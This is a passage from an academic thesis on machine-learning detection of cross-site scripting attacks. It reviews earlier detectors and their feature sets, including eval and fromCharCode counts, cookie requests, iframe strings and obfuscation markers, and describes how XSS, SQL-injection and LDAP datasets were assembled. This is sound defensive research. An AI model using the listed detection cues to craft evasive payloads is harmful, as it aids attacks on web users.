by providing JavaScript code which supports the creation of benign HTML elements
such as documents, via createElement(), and text content, via doc.createTextnode().
This tool reduces the threats that can be introduced into scripts. Such protection is
afforded, overall, by the use of the CSS parser, the JavaScript parser, and the URL
parser. The CSS-based threats are reduced by using only static property names from
a white list, such as “style,” and disabling the use of dynamic properties such as set
expression(...). To reduce the JavaScript parser threats, Blueprint is able to process
data such as strings and numerical literals. The limitation of Blueprint is that it




the ETSSDetector is a tool developed by T. S. Rocha and E. Souto in [164], to
detect XSS vulnerabilities. It operates by analysing a web application’s code and
objects. Once it has analysed the web application, it is able to determine where
data can be entered by the user which could contain attack code. It then constructs
validation code for each of these points which, at run time, will attempt to filter out
any malicious scripts. The system uses an emulator in its detection of vulnerable
XSS, simulating the behaviour of the browser as it loads pages and executes dynamic
content (such as links or fields to fill in). It also uses an extraction component which is
responsible for the identification, collection, and analysis of the information required
for evaluating a web application. The extracting process collects information such as
links and form parameters, and also identifies which method, GET or POST, is used
at each relevant point. In addition, a qualification component analyses the pages of
the web application and analyses them to identify the location of each vulnerable
point; this aims to determine the values that are appropriate for entering at each
vulnerable point specifically. Further, there is a component, responsible for detecting
the injection and execution of XSS attacks, which is assigned to each vulnerable
point. ETSSDetector includes the use of a customized attack selection process.
The result analysis component of the system enables the detection of XSS attacks
through the analysis of the results which have resulted from the previous steps; this
information allows the ETSSDetector to check if an attack has been executed or
not, and then create a report indicating that the application has been tested. All
information collected in order to perform all these functions is stored in a database.
This is to facilitate the persistence of this data.
In [117] the researcher here uses quite a different method and focuses on dealing
with the values of "href" given in hyperlink references. A Ghost.py based headless
browser is used to provide a framework which contains a browser kernel that can
interpret JavaScript. This set-up is utilized to load AJAX content by simulating the
behaviour of a browser. Thus, the system is able to identify any hidden injection
points. The idea of implementing an XSS vulnerability detection system on Ghost.py
is that this can provide black-box testing which can be employed to test the web
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server. This system is divided into two parts: a crawler module and a detection
module. The basic function of the crawler module is the automatic surveying of
web pages and the analysis of their content. It scrapes web pages in-depth and is
controlled by a search algorithm which makes sure that the focus is kept on the same
domain as the application. It uses a Python library called Beautiful Soup to analyse
web pages. It can collect data from HTML and/or XML files and works with a parser
to provide idiomatic ways of navigating, searching, and modifying the parse tree.
The procedure is described in the Algorithm 1.
Algorithm 1: Automatically Expand DOM Elements [117]
1 Input: Response page HTML code
2 Output: HTML code after expanded
3 1. Obtain all tags which have event
4 attributes and store them in tag list;
5 2. Remove duplicated tags;
6 3. For each tag in tag list
7 (a) Simulate a click on next unvisited
8 tag;
9 (b) Mark it as visited;
10 4. If page jumps, go to step 5; Otherwise,
11 go to step 6;
12 5. Store new URL in URL list, jump to 2;
13 6. If DOM has been modified, jump to 1;"
The second part of the system is responsible for detecting XSS. This component
employed the RSnake Cheat Sheet as a basis. So, information is assembled regarding
a possible XSS attack. The system then refers to the information provided in the
cheat sheet and judges whether an attack is actually being attempted. If an XSS attack
is being made, the page will respond by showing an alert indicating the existence of
XSS. The process of attack detection is shown in Figure 2.8.
All the above approaches use both static and dynamic analysis to detect XSS
vulnerabilities and protect the web application server and user from attacks. Table 2.1
gives a summary of all the approaches previously mentioned.
This present study focuses on the use of machine learning for detecting XSS
attacks; the next section reviews machine learning approaches used to protect web
applications from XSS attacks and includes an explanation of the strengths and
weaknesses of each approach.
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Fig. 2.8 Process of Vulnerability Detection [117]
Approachs Methdology Goal Limitations
Nentwich et. al Data tainting and Prevent any sensitive data Covering variabled
[195] static analysis being sent to a third party not tainte
Kirda et. al. (Noxes) Generating Mitigating stored and DOM based XSS
[105] rules reflected XSS attacks not addressed
Bisht et. al. (XSS-GUARD) Exploring intentions of Eliciting authorized depends on JavaScript
[21] the web application scripts detection component
Louw et. al. (Blueprint) Generating a parse tree Searching for untrusted places on Need to analyse manually
[118] from untrusted HTML browser, removes untrusted HTML and annotate
Rocha et. al. (ETSSDetector) Analysing the information Enabling correct filling of form DOM based XSS
[164] in the web applications submiting pages successfully not addressed
Liuet. al. (Ghost.py) Simulating the browser behaviour dealing with the value of —-
[117] to obtain a hidden injection points "href" —
Table 2.1 Summary of Static and Dynamic Analysis
2.10.2 Machine Learning Analysis
Classification techniques were applied in [115] by Likarish et. al. to identify XSS
attacks. This approach, based on machine learning, detects malicious JavaScripts,
and it should be noted that it is capable of detecting malicious scripts which have not
previously been “seen” by the system. The researcher applied four selected classifiers
in order to evaluate the performance of each in terms of the detection of malicious
scripts. The classifiers evaluated were naive Bayes, ADTree, SVM, and RIPPER.
A dataset was created by collecting both malicious and benign scripts from various
sources: 50,000 benign scripts and 62 malicious scripts. This dataset was then used
to train and test the classifiers. 15 selected features (out of 65 original attributes)
were extracted on the basis of which the classifier was required to separate between
malicious and benign scripts. Two experiments were conducted. The first experiment
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was for the purpose of evaluating each classifier by using 10-fold cross-validation.
The measurements used in this experiment were precision, recall, F2-score, and
negative predictive power (NPP). Figure 2.9 shows the results of the evaluation of
the Likarish system.
Fig. 2.9 Evaluation of Likarish Classifiers [115]
In the second experiment, which was intended to evaluate the performance that
could be expected of the system in the real world, the models created in the first
experiment were employed to classify scripts that were not labelled; Figure 2.10
shows the results of this second experiment.
Fig. 2.10 Likarish Classifiers Real World Performance Evaluation [115]
A drawback of these classifiers is that they tended to classify many smaller
(shorter) benign scripts as malicious scripts. In addition, the number of malicious
instances in the training dataset was too small to cover all the possible cases of XSS
attack.
The above experiment, performed by Likarish et al. [115], was built upon the
system described in [144] by Nunan et. al. In this study, the number of features was
increased and they were categorized into three groups: (1) obfuscation-based, (2)
suspicious patterns and (3) indicating HTML/JavaScript schemes. The techniques
used in this study to perform automated classification of XSS attacks on web pages
were the following. (1) The detection of obfuscated code— to detect any obfus-
cations present on the web page, such as encoding (hexadecimal, decimal, octal,
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Unicode, base64, HTML reference characters). (2) web page decoding — to allow
the extraction of features that are difficult to detect in their obfuscated state. (3) The
extraction of the characteristics of the decoded script; this step extracts more features
from the now non-obfuscated code. The generation of these features was carried out
in order to enhance the results which could be expected from the machine-learning
and increase the classification accuracy obtainable. Once the features had been
generated, the classification process itself could take place. The aim of classification,
here, was to classify the web pages as either XSS or non-XSS. The experiment was
performed using two machine learning algorithms: the naive Bayes and the support
vector machine (SVM) algorithms. The dataset used contained some pages that had
been infected by XSS (positive examples/instances) and some that had not (negative
examples/instances). The number of positives was 15,366; these had been collected
from an XSSed database (http://www.xssed.com) of 57,207 web sites, that had been
extracted from Dmoz (http://www.dmoz.org). The negative examples consisted
of 158,847 web-sites that had been collected from ClueWeb09 (http://www.lemur
project.org). The result of the experiment undertaken by using the naive Bayes and
the support vector machine methods are shown in Figure 2.11 As demonstrated in
this figure, these methods achieved high performance in terms of detection, accuracy,
and (low) rates of false alarms.
Fig. 2.11 Nunan Results Using Naive Bayes and Support Vector Machines [144]
In the approach described by "Machine Learning-based Cross-site Scripting De-
tection in Online Social Network s" [201] by Wang et. al, the researchers established
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classification models for detecting XSS attacks on online social networks based on
capturing identified features from web pages. The researchers identified two types of
feature: similarity-based features and difference-based features. The similarity-based
features were classified into four groups as follows: JavaScript features, HTML tag
features, URL features, and keyword features. The difference-based features in-
cluded: the speed of propagation/spread of suspicious JavaScript strings, the speed
of spread of suspicious HTML tags, and the speed of spread of suspicious URLs.
For this experiment, ADTree and AdaBoost were chosen as classifiers. ADTree
was selected because its prediction accuracy is higher than that of other Decision
Tree methods, and AdaBoost was selected because it generates a strong classifier
using a linear combination of weaker classifiers. The dataset used contained both
benign and malicious samples; there were 29,046 benign samples collected from
Dmoz (http://www.dmoz.org), and 13,935 malicious samples collected from XSSed
(http://www.xssed.com). It applied the classifiers on the data set via the Weka tool kit.
Figure 2.12 demonstrates an evaluation of the ADTree classifier, and an evaluation
of the ADABoost classifier is given in Figure 2.13.
Fig. 2.12 Wang ADTree Classifier Evaluation [201]
Fig. 2.13 Wang ADABoost Classifier Evaluation [201]
The experimental results demonstrated that the use of these methods is effective
and efficient for detecting XSS across the OSN network.
60
2.10 Related Works
The study "Prediction of Cross-Site Scripting Attack Using Machine Learning
Algorithms " by B. Vishnu and K. Jevitha [194] demonstrates experimental results
from using three different machine learning algorithms (Naïve Bayes, Support Vec-
tor Machine, and J48 Decision Tree) to predict cross-site scripting attacks. The
experiments were performed using features based on both normal and malicious
URLs and JavaScripts. The researchers created two datasets, one of them consisting
of normal web pages and the other dataset containing pages with malicious URLs
and JavaScripts. The normal web pages were obtained from Domz the open direc-
tory project and ClueWeb09 warc files (Web ARChive), maintained by the Lemur
Project, and the malicious pages were collected from XSSed this project maintains
the largest online XSS attack archive. The features identified for URLs were as
follows: numbers of characters, presence of duplicate characters, presence of special
characters, presence of script tags, requests for cookie, redirections, and the number
of keywords. For JavaScript there were five features: the number of characters, the
number of script functions, references to JavaScript files, the presence of user-defined
functions, and requests for cookies. The dataset for URLs contains about 44,264
malicious URLs from XSSed. The web-pages collection included 19,646 benign
web pages from Dmoz, and 296 benign web pages from ClueWeb09. This complete
data collection was divided into two datasets: a URL dataset consisting of about
43,579 XSS instances and 14,146 non-XSS instances; and a dataset for JavaScripts
consisting of about 32,256 XSS instances and 60,115 non XSS instances. Then the
Weka tool was used to apply all three algorithms to both of these data sets. The
overall results, comparing the performance of each of the three classifiers on both the
URL dataset and JavaScript dataset, were as follows; the J48 classifier performed the
same as the other algorithms in terms of True Positive Rate (TPR) and Precision, and
on the other hand, it achieved comparatively better performance in terms of False
Positive Rate (FPR).
Another approach using machine learning techniques for the static detection of
malicious scripts was proposed in [202] by Wang et. al. The aim of this experiment
was to analyse and extract features from malicious scripts, then use a support vector
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machine method to classify these scripts. In this approach, twenty-seven features
were extracted, seventeen based on [115], and ten on data analysis. One of the main
ideas behind the extraction of the features was that some characters and sequences do
have some special functions of limited use in benign scripts, but they are used much
more in malicious scripts: e.g., the DOM-modifying function, the eval function, and
the escape function. A particular challenge that the experiment faced was obfuscation
techniques. This problem was solved by defining some of the 10 selected features so
that their use would reduce the impact of obfuscation. Figure 2.14 shows the full
twenty-seven features that were originally generated in the Wang experiment.
Fig. 2.14 Wang Features Set [202]
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The dataset used in the experiment contains 2000 scripts. 1000 of these scripts
were malicious, collected from VX Heavens. The benign scripts were collected from
reputable sites. The dataset was divided into three parts, one for training and the
other two for testing. After extracting the necessary features, converting all the data
into the WEKA file format, and then selecting the RBF kernel in order to get the best
classification model, the tests were run. The results of this experiment, comparing
between SVM, ADTree, and Naive Bayes are given in Figure 2.15
Fig. 2.15 Wang Results of ADTree, Nave Bayes, and SVM classifiers [202]
The results given above represented an improvement on the work of Likarish et
al. [115], 17 of the feature used here were similar to those used in their work.
Another approach which uses machine learning to detect malicious obfuscated
scripts is [2] by Aebersold et.al; this approach is aimed at distinguishing between
obfuscated and non-obfuscated scripts with high accuracy. Moreover, it is aimed at
providing a novel set of features that help to detect obfuscated JavaScript, and more
generally at shedding more light on the problem of distinguishing between malicious
and benign scripts. The main idea of this experiment is that most malicious scripts
are obfuscated in order to hide what the attackers are doing and avoid detection by
security systems. In contrast, the incidence of obfuscated benign scripts is quite low.
Thus, clearly, the detection of obfuscated JavaScript scripts would be an effective
tool in the fight against malicious scripts. A second contribution of this approach is
to investigate whether minification impacts obfuscated JavaScript detection using
machine learning techniques. The dataset applied was collected from three different
sources: (1) the complete set of JavaScripts available from the jsDelivr content
delivery network, (2) the content of the Alexa Top 500 websites, and (3) a set of
malicious JavaScript samples from the Swiss Reporting and Analysis Centre for
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Information Assurance (MELANI); the latter contained minified, and obfuscated
scripts. In the pre-processing, all files with less than 5 lines were removed, files
within which less than 1% of all characters were spaces were removed, and files were
removed if more than 10% of their lines were longer than 1000 characters. Then,
twenty features were selected by manual inspection, depending on [103, 115], and
as a result of the analysis of the histograms of candidate features. Figure 2.16 shows
the twenty features that are used in the Aebersold’s approach.
Fig. 2.16 Aebersold’s Approach Features Set [2]
Three classifiers were used in the experiment, these are: Linear Discriminant
Analysis (LDA), Random Forest (RF), and Support Vector Machine (SVM). Clas-
sifiers were trained then evaluated by extracting a set of features and then using
scikit-learn to evaluate the performance (of the classifiers). The results with regard
to distinguishing between obfuscated and non-obfuscated scripts are given in Fig-
ure 2.17, and Figure 2.18 shows the results with regard to distinguishing between
malicious and benign scripts.




Fig. 2.18 Aebersold Results of Distinguishing Between Malicious and Benign Scripts
[2]
From the above, it can be seen that SVM achieves good levels of accuracy in
terms of distinguishing between obfuscated, malicious, and benign scripts.
Khan et al. in "Defending Malicious Script Attacks Using Machine Learning
Classifiers " [99] presents another approach in terms of machine learning techniques.
This approach introduces an interceptor (of scripts) implemented as a plugin on the
browser, and via this applies a static analysis in order to detect JavaScript attacks.
The approach works by checking the response from the server; this is undertaken by
passing the response through an interceptor to catch malicious code. The study used
a dataset obtained from the School of Computer Science, University of Birmingham,
Birmingham, UK. This contains 1924 scripts (1515 benign and 409 malicious), and
70 features were extracted from these, all related to JavaScript. Four classifiers were
employed in the experiment with the aim of performance evaluation: Naive Bayes,
Support Vector Machine, k-Nearest Neighbour, and Decision Trees. The features set
that is used with the classifiers is given in Figure 2.19
The experiments were carried out in three phases: (i) training using 100% of
the dataset, (ii) 10-fold cross-validation. (iii) dividing the dataset into 80% for
training and 20% for testing, and then training and testing. The results obtained
from the four classifies are given in Figure 2.20. From the result, it can be noted that
k-NN achieved the best results in terms of accuracy, and SVM obtained the lowest
accuracies across all the experiments.
The approach employed by Komiya et al. [108] used machine learning to
classify user input character strings in order to detect malicious web code (that had
not previously been seen by the system) — such as malicious SQL-i and cross-
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Fig. 2.19 The Features that Used with Khan’s Classifiers [99]
site scripting attacks. The machine-learning methods used were the SVM, Naive-
Bayes, and the k-Nearest Neighbour algorithms. Three types of SVM kernel were
investigated: a linear kernel, a polynomial kernel, and a Gaussian kernel. The
approach depended on two methods by which to extract the features: the blank
separation method and the tokenization method. The idea of the first method is that
the document contains many terms separated by blank spaces, and the number of
instances of the term in the string was used for the calculation of the weight of the
feature. The second method was based on the idea that malicious code strings will
contain some particular tokens that indicate malicious web code, it is defined in
their approach based on the repetitive evaluation to determine the best token which
numbers of each term used to calculate feature weights. The tokens indicating XSS
are given in Figure 2.21
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Fig. 2.20 Results of Khan’s Classifiers [99]
Fig. 2.21 Komiya Features Groups [108]
The datasets were collected with the cooperation of experts on the topic of attacks
on web applications; such sources were used to create the first dataset, for SQL-i,
and the second dataset for XSS. Figure 2.22 illustrates a number of scripts of each
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kind[108] — alongside the numbers of instances of the various types in both the
training and the testing datasets.
Fig. 2.22 Komiya’s Datasets [108]
SVM, Naive Bayes, and the k-Nearest Neighbour (k-NN) classifiers were eval-
uated by training the classifiers by applying the training dataset, then testing them
using the test dataset. Figure 2.23 shows the evaluation results for all three classifiers.
Fig. 2.23 Komiya’s Classifiers Evaluation [108]
From the results table, it can be seen that the accuracy achieved by using SVM
was very high, especially when the Gaussian kernel was employed; this achieved an
accuracy of 98.95% — a result which was better than any other kernel or classifier.
This system sets itself more of a challenge than other systems since the methods
used depend on the number of features appearing within the scripts, On the other
hand, the approach was evaluated by looking at only a very small number of scripts
(i.e., the dataset size was small). I expect the script types are non-obfuscated; in
these kinds of scripts, some features are clear indicators of the presence of malicious
code. In addition, their approach depended on feature combinations, especially
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punctuation features based on the kind of punctuation which might be expected,
again, in malicious scripts. Such text features are obscured by the use of obfuscation.
Table 2.2 The following is a summary of the approaches that have been reviewed,
above, in our analysis of machine learning systems. In addition, the table clarifies
the work on which this study has relied, and also clarifies the natures of the most
important features and datasets that have been used to evaluate the classifiers. Also,
the last column shows the results of the classifier evaluations. Precision has been
taken into account in most of the studies reviewed — it is not taken into account in
Wang et. al.
This present research will focus on the detection of malicious scripts and will
deal with this task from a number of different points of view. Attackers may use
obfuscated scripts as well as scripts that are represented in a straightforward manner.
From looking at previous approaches, it can be noted that there has been more
emphasis on non-obfuscated malicious scripts. In response to this, the data for the
experiments here will contain all types of script, and all lengths of script — to avoid
the weakness evident in Likarish et al.
2.11 Summary
This chapter has provided an overview of web applications and their architecture, as
well as the data transformations which occur within them. Moreover, it has discussed
the security of web applications, starting with a definition of the word "hacker", and
continuing with a description of the top 10 vulnerabilities of web applications. Also,
it has described the nature of XSS attacks and their types, explaining the methods
by which the attacker may proceed. The risks that the user can be exposed to via
XSS were then detailed. An overview of code obfuscation and the methods used for
this was then provided. In addition, a detailed explanation of the analysis methods
used to detect XSS attacks is given. Furthermore, a detailed explanation of machine
learning and its types was then entered into, discussing the existing approaches and
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the detection and prevention techniques employed within them. This discussion was
focused on work related to the motivation of our study.
Looking at the machine learning studies reviewed in this chapter, it was observed
that most studies relied heavily on the XSSed dataset for examples of malicious
scripts. In addition, the features generally used for this task (of detecting XSS
attacks) are often somewhat complex, either in terms of their extraction or their
calculation. This is a factor that can affect classification performance. The focus in
most of the studies in terms of extracting the features was on the individual items
representing the content of the payload — whether this contains keywords or a call
to a function — without looking at the syntactic structure of the payload. This was
so except in the study by Komiya which looked particularly at the content aspect in
terms of its syntactic structure. This present study tends to focus more on the syntax
than on the individual content items of the payload.
It may also be noted that the studies generally used a particular set of machine-
learning algorithms: SVM, Naïve Bayes, Decision Tree, k-NN, and Random Forest.
These classifiers all achieved high precision in terms of detecting XSS attacks. Indeed
the Decision Tree method used in Khan et. al. and the Naïve Bayes used in Komiya
et. al. both achieved 100% precision, However, it is worth noting that the dataset
used in both of these cases was very small, and this might have been the reason for
these very high precision rates. Further, other studies have achieved results with high
accuracy in relation to detecting XSS attacks.
In this study, the classification will be verified, focusing on extracting features
which depend on the syntactic structure of the payload. In addition, a dataset will be
created specifically for this study that includes a variety of different types of payloads
— to avoid some of the weaknesses of the previous studies. Moreover, features will
be calculated in a readily computed fashion, and represented in a simplified manner
in order to achieve high classification performance, as will be explained in Chapter 3.
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Approachs Classifiers DataSet Features Evaluation
Length in characters,
Avg. Characters per line
Number of lines
Number of strings
Number of unicode symbols
Number of hex or octal
Human readable
Likarish et. al. Naive Bayes, ADTree, 50,000 benign scripts whitespace Naive Bayes Prec=0.808
[115] SVM, and RIPPER 62 malicious Number of of methods called ADTree Prec=0.891
Avg. string length SVM Prec=0.920
Avg. argument length RIPPER Prec=0.882
Number of comments
Avg. comments per line
Number of words
Words not in comments
Nunan et. al. Naive Bayes 15,366 from XSSed Three Groups Naive Bayes
[144] SVM 57,207 from Dmoz (1) obfuscation-based Prec=95.02%-99.00%
158,847 from ClueWeb09 (2) suspicious patterns SVM




Wang et. al ADTree 13,935 from XSSed URL features ADTree TP=0.952
[201] AdaBoost 29,046 from Dmoz keyword features AdaBoost TP=0.958
Difference-based:
Spreading speed of JavaScript
spreading speed of HTML tags
Spreading speed of URLs
B. Vishnu and K. Jevitha Naïve Bayes 44,264 XSSed URL features: Naïve Bayes Prec=0.99
[194] SVM 19,646 from Dmoz JavaScript Features: SVM Prec=0.99
J48 296 from ClueWeb09 J48 Prec=0.99
Number of eval() function
Number of the setTimeout() functions
Ratio between keywords and words
Number of built-in functions
Entropy of the strings declared
Entropy of the script as a whole
Number of long strings
Max entropy of all the script’s strings
Prob. of the script to contain shellcode
Length of the script’s strings
Wang et. al. Naïve Bayes 1000 - VX Heavens Number of string direct assignments Naïve Bayes Acc=84.31%
[202] SVM 1000 - reputable sites Number of string modification functions SVM Acc=94.38%
ADTree Number of event attachments ADTree Acc=91.68%
Number of suspicious strings
Number of DOM modification functions
Script’s whitespace percentage
Avg. length of the strings
Avg. script line length
Number of strings containing “iframe”
Number of suspicious tag
Length of the script in characters
Number of unescape and escape
Number of classid
Number of parseInt and fromcharcode
Ratio between document.writeln and line
Number of chars in hex
Number of CreateObject,ActiveXObject
Total number of lines
Avg. # of chars per line
Number chars in script
Ratio of lines 1000 chars
Shannon entropy of the file
Avg. string length
Share of chars belonging to a string
Aebersold et. al. LDA jsDelivr Share of space characters LDA Prec=99.17%
[2] RF Alexa Share of chars belonging to a comment RF Prec=99.81%
SVM MELANI Number of eval calls SVM Prec=99.35%
Avg. of chars per function body
Share of chars belong to a function body
Avg. # of arguments per function
Number of function definitions
Number of special JavaScript elements
Number of renamed special JavaScript elements
Share of encoded characters
Share of backslash characters
Share of pipe characters
Number of array accesses using
dot or bracket syntax
Khan et al. University of Birmingham 70 features related to JavaScrip Naive Bayes Prec=0.971
[99] 1515 Benign, 409 Malicious Figure 2.19 SVM Prec=0.869
k-NN Prec0.962
J48 Prec=1.00
Komiya et al. Naïve Bayes Experts in attacks Tags, Punctuation, Literal, Objects Naïve Bayes Prec=1.00
[108] SVM 195 Malicious, 269 Benign Figgure 2.22 SVM Prec=0.989
k-NN k-NN Prec0.983






Chapter 3 details a data collection which includes XSS, SQL-i, LDAP, and normal
text. Section 3.2 presents the data sources used for obtaining malicious and benign
payloads and normal texts, alongside explanations of the types of data collected from
various sources. Section 3.3 introduces the various means by which the datasets
that were used in this work were created - where each dataset contains just one
type of attack. Each dataset will be described and the number and type of payloads
stated. Section 3.4 details the data preparation and cleansing that was performed,
and explains the steps involved with this. Section 3.5 discusses the feature selection
with an explanation of the main groups of features which are associated with each
type of attack and examines these features in relation to the methods which can be
used by the attacker. Furthermore, an explanation of the features of the text that
differentiate whether the input data is normal text or script is provided. Section 3.6
describes the method used for extracting features from payloads, and includes an
explanation of the functions used for this purpose. Section 3.7 describes the way in
which the features present in the datasets are represented and illustrates the values
that were used for this. Section 3.8 clarifies the correlation between features and
class, with an explanation of the method used to find the correlation, in order to
ensure the effectiveness of the dataset.
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3.2 Collecting Scripts and Normal Text
The experiments performed in this research require a dataset containing both mali-
cious and benign payloads where the payloads must be JavaScript for XSS attacks,
and SQL statements for SQL-i, and LDAP. But there was no existing source dataset
containing only JavaScript payloads, or only SQL-i. The source dataset which most
nearly accorded to this requirement was CSIC2010 [67] which is a dataset that
contains a collection of payloads; however, the problem with this source was that it
is auto generated and it does not cover all the types of malicious payloads which are
to be examined here. For this reason, the creation of a datasets appropriate to this
research became one of its contributions. Thus, here, a dataset has been created for
each of the types of malicious payloads: XSS, SQL-i injection and LDAP injections;
it also contains benign payloads and normal text items so as to cover all types of
malicious and benign payloads. The types of payloads included are concentrated
on malicious and benign payloads that can be sent to web applications via HTTP
requests. Other types of XSS attacks (such as the ’reflected’ type) are not addressed.
The dataset covers all the types of payload of interest: such as, obfuscated and
non-obfuscated scripts, long and short scripts; and SQL-i and LDAP injections. The
aim is to create a comprehensive and representative collection of all the various types
of payload needed for classifier training and testing. For this approach, data has
been collected from trusted web pages containing both JavaScript and normal text.
And in order to do this, the HTTrack Website Copier [165] was used as a crawler
to collect data from web pages and obtain textual files and ignore media files - all
from XSSed.com. Then, extracting data and text from multiple text and HTML files
software [83] was employed to extract the scripts and text from the crawled files.
Table 3.1 shows the number of collected malicious and benign scripts - SQL-i, LDAP,
and normal text.
It is noticeable that the number of instances of LDAP and SQL injections within
the datasets is low. This is due to the lack of examples available of such injections.
And the lack of the availability of such instances is because malicious payloads on
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Table 3.1 Number of Collected Data
web pages have a short lifetime in terms of presence, and there are, in any case, few
datasets containing such attack payloads.
3.2.1 Benign Scripts and Normal Text Data
In addition, benign scripts were obtained from the Quackit Tutorials [160] - these
contain a set of code examples for websites development written in HTML, including
a set of JavaScript used for this purpose; The "W3schools.com" - HTML describes a
language for building web pages [197] which contains a large collection of benign
scripts that can be used for building websites; "Simple Examples of JavaScript
Scripts" [207] which contains extra scripts that were not published in the associated
book, "Quick and Easy Guide to JavaScript"; "CSCU9B2" [190] which is a set of
lecture notes for a course at the University of Stirling that contains a collection
of benign scripts; "Code Snippets" [29] contains benign JavaScript examples; the
"JavaScript Kit" [90] which contains a script library for JavaScript tutorials; and "JS-
OBFUS" [181] which contains obfuscated JavaScript. Normal text was also obtained
from "Latent Aspect Rating Analysis" (LARA) dataset [200] which contains hotel
and product reviews from Amazon.com and TripAdvisor.
3.2.2 Malicious Scripts, SQL-i and LDAP Data
Further malicious scripts were obtained from "XSS-Payloads" [214], which contains
a collection of malicious payloads that are classified into a number of categories
based on what they do - as well as containing tools and libraries of tutorials and
papers related to XSS. Malicious payloads have been verified at "XSS-Payloads" by
tracking the source of the scripts. It was found that they were collected from articles
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specialized in XSS types [27, 70, 77, 81, 82, 107, 187, 191]. Samy worm code was
obtained from a technical explanation of the MySpace Worm [136]. The examples of
malicious JavaScript website [135] contains a set of obfuscated malicious JavaScript.
"XSSed.com" [59] which is a project that was created in 2007 by K. Fernandez and
D. Pagkalos to provide information about everything related to cross-site scripting
vulnerabilities, and which includes what is considered to be the largest archive
of XSS attacks on vulnerable websites; this archive includes both short and long
obfuscated scripts as HTTP requests. The reliability of the scripts obtained from
"XSSed.com" has been verified by several previous studies as they have used this site
to create their own dataset, such as [144, 194, 201]. This assumes that all instances
of "XSSed.com" are malicious. After collecting the scripts from previous sources,
they were tested using "VirusTotal.com" which is a website that analyses suspicious
files and URLs to detect types of malware. The result was that the checked file
contained malicious script (Trojan Script). This result is obtained from two engines,
namely "Baidu" and "MaxSecure". As a result of this test, the records were labelled
as malicious within the dataset.
SQL injections have been collected from CSIC 2010 [67] which is an automati-
cally generated dataset containing thousands of HTTP requests. LDAP injections
have been collected from ECML/PKDD 2007 [64] which is a dataset created for the
ECML/PKDD 2007 challenge.
3.3 Datasets
Datasets were created using the collected data with the aim of providing a simulation
of real-world attacks. Three datasets were used in this research (one for each type
of attack). Each dataset was divided into two parts for each experiment: one for
training the models, and the other for testing the model’s performance. The training
datasets were used to tune parameters and train the classifiers. The testing datasets
were used to evaluate the classifiers once built. In this section, the datasets employed
with respect to each type of attack will be described.
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3.3.1 Cross-Site Scripting Datasets
The XSS dataset, which is one of the contributions to this research, was created
either by copying or crawling payloads from web pages. The process of crawling
and extracting data from crawled files is described in Section 3.2. The payloads
were copied from the sites, where the malicious sources have been mentioned in
Section 3.2.2 and benign sources have been mentioned in Section 3.2.1, pasted into
Microsoft Excel file with either malicious or benign labels to each payload. This
means that the dataset was created manually from the beginning and it contains
malicious instances that include various types of XSS attacks. These instances
have been labelled as malicious. On other hand, benign instances contain benign
JavaScript and normal text. These instances have been labelled as benign. It should
be noted here that the data collected from the previously mentioned sites are real
attacks against web applications, or harmful functions used in the attacks. This
results in the dataset being realistic and expressing real world attacks.
A dataset focused on XSS attacks was contained 43,218 instances; this was
divided into two subsets: one for training and one for testing. The training dataset
contained 19,122 instances, divided into 5,150 malicious instances and 13,972 benign
instances; these were gathered from a number of different data collections as follows:
5,029 benign scripts from the XSS related data, 5,000 instances from the SQL-i
focused dataset which were considered to be benign, and 3,943 instances from the
normal text data collection. The purpose of using these various different sources of
benign instances was to cover as many cases of such as possible - that have been
fed to web applications. The testing dataset contained 24,096 instances divided
into two sets of 10,000 each - both of these containing both malicious and benign
instances (where the malicious payloads were obtained from XSSed.com, and the
benign payloads were obtained from the various sources mentioned in section 3.2.1).
The remaining set of 4,096 instances contained only normal text data. There was




Malicious Instances Benign Instances Total
Training Dataset 5,150 13,972 19,122
Testing Dataset 10,000 14,096 25,096
Table 3.2 Cross-Site Scripting Dataset
3.3.2 SQL-i Datasets
Another dataset was created containing 30,159 instances, divided into two subset for
the purposes of both training and testing the classifiers in relation to SQL-i attacks.
The training dataset contains 20 ,105 instances divided into 7,235 SQL-i attack
instances and 12,870 benign instances. The testing dataset contains 10,051 instances
divided into 3,617 SQL-i attack instances and 6,434 benign instances. All the SQL-i
and benign instances were extracted from CSIC 2010 dataset. Table 3.3 shows the
SQL-i datasets details.
SQL-i Instances Benign Instances Total
Training Dataset 7,235 12,870 20,105
Testing Dataset 3,617 6,434 10,051
Table 3.3 SQL Injection Datasets
3.3.3 LDAP Datasets
A dataset was created containing 1,869 instances, divided into two for the purposes
of training and testing the classifiers with respect to LDAP attacks. The training
dataset contains 1,040 instances divided into 440 LDAP attack instances and 600
benign instances. The testing dataset contains 829 instances divided into 230 LDAP
attack instances and 599 benign instances. All the LDAP and benign instances were
extracted from the ECML/PKDD 2007 dataset. Table 3.4 shows LDAP datasets.
LDAP Instances Benign Instances Total
Training Dataset 440 600 1,040
Testing Dataset 230 599 829
Table 3.4 LDAP Injection Datasets
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3.3.4 Normal Text Datasets
A dataset was created containing 12,000 instances, divided into two for the purposes
of training and testing the classifiers in relation to distinguishing between normal
text and script. The training dataset contains 6,000 instances divided into 3,002
normal text instances, obtained from the LARA dataset, and 2,998 script instances,
obtained from the XSS dataset. The testing dataset contains 6,000 instances divided
into 3,000 normal text instances, obtained from the LARA dataset, and 3,000 script
instances, obtained from the XSS dataset; the scripts which were obtained from the





Table 3.5 Normal Text Datasets
3.4 Cleansing Datasets
All the datasets were prepared/cleaned before extracting features so that they con-
tained only unique instances (i.e., no duplications). Then some further steps were
carried out. The aim of these further steps was ensure equality between all the
payloads – so that they were all represented using the same structure for feature
extraction. Thus, in order to preparing and cleaning the dataset, the following three
steps were undertaken.
1. Removing extra spaces from the script: Extra spaces were removed from
the script payloads which were in the datasets, for this purpose Microsoft
Excel’s Trim function was used; this remove all extra spaces between words.
The aim of removing these spaces was to make all the payloads have a same
structure; a benign script can be written by developers to contain large numbers
of spaces, either by intent or in error. On other hand, malicious script are often
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written by attackers using a small number of spaces in order to deceive the
protective measures which are commonly taken. Note that the presence of
extra spaces may be one of the features that can be used to distinguish between
malicious and benign payloads. The classifiers employed here did not need to
know the number of spaces in the payloads, but focused instead on the way
the construction of the payload and its contents.
2. Removing unnecessary new lines: Unnecessary new lines were removed by
using the Find and Replace function, replacing new lines (Ctrl + j) with just
one space. New lines may be used to split malicious commands in payloads
into several lines in order to bypass filters. On other hand, lines can be used in
normal text. This feature was not taken note of because it is shared between
malicious payloads and normal text. The aim of removing unnecessary new
lines was the same, in principle, as that of removing extra spaces - to make all
the scripts have the same structure.
3. Lowercase all letters in the script: All the letters in the scripts were con-
verted to lowercase by using Lower function, available in Excel. The purpose
of this was to make all corresponding letters have the same form. JavaScript is
